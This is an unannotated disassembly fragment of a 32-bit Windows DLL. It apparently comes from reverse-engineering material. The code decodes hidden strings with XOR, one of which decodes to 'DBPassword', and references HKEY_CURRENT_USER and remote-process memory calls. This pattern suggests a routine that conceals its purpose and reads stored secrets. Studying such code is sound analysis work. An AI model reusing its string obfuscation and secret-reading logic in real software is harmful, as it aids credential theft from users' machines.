mov ecx, 0x10013500
mov byte [ebp - 4], 3
call fcn.1000bc20
mov ah, 0x69
mov byte [ebp - 0x394], 0
mov al, 2
mov byte [ebp - 0x398], ah
mov dl, al
mov byte [ebp - 0x394], 0
xor al, ah
sub esp, 0x18
mov cl, 0xc
mov byte [ebp - 0x397], al
xor cl, ah
mov dword [ebp - 0x300], esp
xor dl, ah
mov byte [ebp - 0x396], cl
lea eax, [ebp - 0x397]
mov byte [ebp - 0x395], dl
mov esi, esp
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10009510
add esp, 8
mov ecx, esi
push eax
call fcn.10005c40
mov byte [ebp - 0x2fc], 0x21
mov al, 0x65
xor al, byte [ebp - 0x2fc]
mov cl, 0x63
xor cl, byte [ebp - 0x2fc]
mov ch, 0x52
mov byte [ebp - 0x2fb], al
mov ah, 0x40
mov byte [ebp - 0x2fa], cl
mov dh, ch
mov cl, byte [ebp - 0x2fc]
sub esp, 0x18
mov byte [ebp - 0x2e5], 0x56
xor ah, cl
mov al, byte [ebp - 0x2e5]
xor ch, cl
xor al, cl
mov byte [ebp - 0x303], 0x4e
mov byte [ebp - 0x2f5], al
mov dl, 0x71
mov al, byte [ebp - 0x303]
xor dl, cl
xor al, cl
mov byte [ebp - 0x302], 0x53
mov byte [ebp - 0x2f4], al
xor dh, cl
mov al, byte [ebp - 0x302]
xor al, cl
mov byte [ebp - 0x301], 0x45
mov byte [ebp - 0x2f3], al
mov al, byte [ebp - 0x301]
xor al, cl
mov byte [ebp - 0x2f8], ah
mov byte [ebp - 0x2f2], al
lea eax, [ebp - 0x2fb]
mov byte [ebp - 0x2f7], ch
mov ecx, esp
mov dword [ebp - 0x33c], esp
mov byte [ebp - 0x2f1], 0
push eax
mov byte [ebp - 4], 0xb
mov byte [ebp - 0x2f9], dl
mov byte [ebp - 0x2f6], dh
mov byte [ebp - 0x2f1], 0
call fcn.10005c40
movaps xmm0, xmmword [0x1000e560]
xor ecx, ecx
mov byte [ebp - 4], 0xc
movups xmmword [ebp - 0x330], xmm0
mov byte [ebp - 0x320], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x330]
xor byte [ebp + ecx - 0x32f], al
inc ecx
cmp ecx, 0xf
jb 0x10009100
sub esp, 0x18
mov byte [ebp - 0x320], 0
lea eax, [ebp - 0x32f]
mov ecx, esp
push eax
call fcn.10005c40
push 0x80000001
mov ecx, 0x10013500
mov byte [ebp - 4], 3
call fcn.1000bc20
mov ah, 1
mov byte [ebp - 0x340], 0
mov al, 0x6a
mov byte [ebp - 0x344], ah
mov dl, al
mov byte [ebp - 0x340], 0
xor al, ah
mov cl, 0x64
xor cl, ah
mov byte [ebp - 0x343], al
xor dl, ah
mov byte [ebp - 0x342], cl
lea eax, [ebp - 0x343]
mov byte [ebp - 0x341], dl
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10009510
add esp, 8
lea ecx, [ebp - 0x2e4]
mov esi, eax
call fcn.10002c40
jmp 0x100091b3
push 0x8000
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea esi, [ebp - 0x2e7]
mov ecx, dword [ebp - 0x218]
cmp ecx, 0xf
jbe 0x100091fc
mov edx, dword [ebp - 0x22c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100091f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100091f2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.10006560
lea esi, [ebp - 0x2e7]
jmp 0x100091b3
push ecx
push edx
call fcn.1000bff3
add esp, 8
mov eax, esi
jmp 0x10009206
lea eax, [ebp - 0x2e7]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bfb5
mov esp, ebp
pop ebp
ret
call fcn.10003db0
call fcn.10009c60
int3